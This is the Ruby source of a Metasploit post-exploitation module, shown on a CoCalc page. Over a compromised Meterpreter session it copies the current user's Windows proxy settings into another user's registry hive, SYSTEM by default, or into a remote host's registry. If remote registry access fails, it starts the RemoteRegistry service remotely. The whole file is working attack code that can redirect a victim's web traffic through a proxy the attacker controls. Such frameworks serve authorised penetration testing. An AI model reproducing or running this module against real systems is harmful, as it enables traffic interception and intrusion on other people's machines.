CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Auxiliary::Report
8

9
  def initialize
10
    super(
11
      'Name' => 'Windows Manage Proxy Setting Cloner',
12
      'Description' => %q{
13
        This module copies the proxy settings from the current user to the
14
        targeted user SID, supports remote hosts as well if remote registry
15
        is allowed.
16
      },
17
      'Author' => [ 'mubix' ],
18
      'License' => MSF_LICENSE,
19
      'Platform' => [ 'win' ],
20
      'SessionTypes' => [ 'meterpreter' ],
21
      'Compat' => {
22
        'Meterpreter' => {
23
          'Commands' => %w[
24
            stdapi_registry_create_key
25
            stdapi_registry_open_key
26
            stdapi_registry_open_remote_key
27
          ]
28
        }
29
      }
30
    )
31

32
    register_options(
33
      [
34
        OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]),
35
        OptString.new('SID', [ false, 'SID of user to clone settings to, defaults to SYSTEM', 'S-1-5-18' ])
36
      ]
37
    )
38
  end
39

40
  def parse_settings(data)
41
    print_status "\tProxy Counter = #{data[4, 1].unpack('C*')[0]}"
42
    case data[8, 1].unpack('C*')[0]
43
    when 1
44
      print_status "\tSetting: No proxy settings"
45
    when 3
46
      print_status "\tSetting: Proxy server"
47
    when 5
48
      print_status "\tSetting: Set proxy via AutoConfigure script"
49
    when 7
50
      print_status "\tSetting: Proxy server and AutoConfigure script"
51
    when 9
52
      print_status "\tSetting: WPAD"
53
    when 11
54
      print_status "\tSetting: WPAD and Proxy server"
55
    when 13
56
      print_status "\tSetting: WPAD and AutoConfigure script"
57
    when 15
58
      print_status "\tSetting: WPAD, Proxy server and AutoConfigure script"
59
    else
60
      print_status "\tSetting: Unknown proxy setting found"
61
    end
62

63
    cursor = 12
64
    proxyserver = data[cursor + 4, data[cursor, 1].unpack('C*')[0]]
65
    print_status "\tProxy Server: #{proxyserver}" if proxyserver != ''
66

67
    cursor = cursor + 4 + data[cursor].unpack('C*')[0]
68
    additionalinfo = data[cursor + 4, data[cursor, 1].unpack('C*')[0]]
69
    print_status "\tAdditional Info: #{additionalinfo}" if additionalinfo != ''
70

71
    cursor = cursor + 4 + data[cursor].unpack('C*')[0]
72
    autoconfigurl = data[cursor + 4, data[cursor, 1].unpack('C*')[0]]
73
    print_status "\tAutoConfigURL: #{autoconfigurl}" if autoconfigurl != ''
74
  end
75

76
  def target_settings(dst_root_key, dst_base_key)
77
    if datastore['RHOST']
78
      begin
79
        dst_key = session.sys.registry.open_remote_key(datastore['RHOST'], dst_root_key)
80
      rescue ::Rex::Post::Meterpreter::RequestError
81
        print_error("Unable to contact remote registry service on #{datastore['RHOST']}")
82
        print_status('Attempting to start service remotely...')
83
        begin
84
          service_start('RemoteRegistry', datastore['RHOST'])
85
        rescue StandardError
86
          print_error('Unable to read registry or start the service, exiting...')
87
          return
88
        end
89
        startedreg = true
90
        dst_key = session.sys.registry.open_remote_key(datastore['RHOST'], dst_root_key)
91
      end
92
      dst_open_key = dst_key.open_key(dst_base_key)
93
    else
94
      dst_open_key = session.sys.registry.open_key(dst_root_key, dst_base_key)
95
    end
96

97
    dst_values = dst_open_key.query_value('DefaultConnectionSettings')
98

99
    # If we started the service we need to stop it.
100
    service_stop('RemoteRegistry', datastore['RHOST']) if startedreg
101

102
    dst_data = dst_values.data
103

104
    print_status('Current proxy settings for target:')
105
    parse_settings(dst_data)
106
  end
107

108
  def run
109
    if (datastore['SID'] == '') && !datastore['RHOST']
110
      print_error('No reason to copy the settings on top of themselves, please set a SID or/and RHOST')
111
      return
112
    end
113

114
    # Pull current user's settings
115
    src_root_key, src_base_key = session.sys.registry.splitkey('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections')
116
    src_open_key = session.sys.registry.open_key(src_root_key, src_base_key)
117
    src_values = src_open_key.query_value('DefaultConnectionSettings')
118
    src_data = src_values.data
119
    print_status('Proxy settings being copied:')
120
    parse_settings(src_data)
121

122
    # Print current settings of target
123
    print_status('Attempting to read target\'s settings...')
124
    if datastore['SID']
125
      dst_root_key, dst_base_key = session.sys.registry.splitkey("HKU\\#{datastore['SID']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
126
    else
127
      dst_root_key, dst_base_key = session.sys.registry.splitkey('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections')
128
    end
129

130
    target_settings(dst_root_key, dst_base_key)
131

132
    print_status('Cloning... bahh..')
133

134
    if datastore['RHOST']
135
      begin
136
        dst_key = session.sys.registry.open_remote_key(datastore['RHOST'], dst_root_key)
137
      rescue ::Rex::Post::Meterpreter::RequestError
138
        print_error("Unable to contact remote registry service on #{datastore['RHOST']}")
139
        print_status('Attempting to start service remotely...')
140
        begin
141
          service_start('RemoteRegistry', datastore['RHOST'])
142
        rescue StandardError
143
          print_error('Unable to read registry or start the service, exiting...')
144
          return
145
        end
146
        startedreg2 = true
147
        dst_key = session.sys.registry.open_remote_key(datastore['RHOST'], dst_root_key)
148
      end
149
      dst_open_key = dst_key.create_key(dst_base_key, KEY_WRITE + 0x0000)
150
    else
151
      dst_open_key = session.sys.registry.create_key(dst_root_key, dst_base_key, KEY_WRITE + 0x0000)
152
    end
153

154
    # If we started the service we need to stop it.
155
    service_stop('RemoteRegistry', datastore['RHOST']) if startedreg2
156

157
    dst_open_key.set_value('DefaultConnectionSettings', REG_BINARY, src_data)
158

159
    print_status('New settings:')
160
    target_settings(dst_root_key, dst_base_key)
161
  end
162
end
163

164